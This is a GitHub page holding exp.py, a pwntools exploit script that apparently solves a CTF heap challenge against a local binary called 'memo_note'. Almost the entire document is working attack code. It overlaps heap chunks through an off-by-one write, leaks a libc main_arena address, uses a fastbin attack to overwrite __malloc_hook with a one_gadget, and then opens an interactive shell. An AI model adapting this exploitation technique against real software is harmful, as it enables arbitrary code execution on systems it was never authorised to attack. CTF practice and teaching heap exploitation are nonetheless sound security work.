-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexp.py
64 lines (48 loc) · 1.11 KB
/
exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.log_level='debug'
def new(size, payload):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size: ')
p.sendline(str(size))
p.recvuntil('memo: ')
p.sendline(payload)
def show(idx):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(idx))
def delete(idx):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(idx))
p=process('./memo_note')
p.recvuntil('name: ')
p.sendline(p64(0xdeedbeef))
new(0x90, 'A'*0x90)
new(0x68, 'B'*0x68)
new(0xf0, 'C'*0xf0)
new(0x10, 'D'*0x10)
delete(0)
delete(1)
new(0x68,'B'*0x60+'\x10\x01'.ljust(8,'\x00'))
delete(2)
new(0x90,'a'*0x8f)
show(0)
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x58
success(hex(main_arena))
gdb.attach(p,'b *0x555555554f41')
#fastbin attack
delete(1)
new(0xa0, 'E'*0x98 + p64(0x70))# avoid double free
delete(1)
delete(0)
malloc_hook=main_arena-0x23-0x10
new(0xa8,'E'*0x90+p64(0) + p64(0x70) + p64(malloc_hook))
new(0x68, 'A'*0x68)
one_gadget=main_arena-0x3c4b20+0xf1147
new(0x68, 'A'*19 + p64(one_gadget))
p.sendline('1')
p.sendline('16')
p.interactive()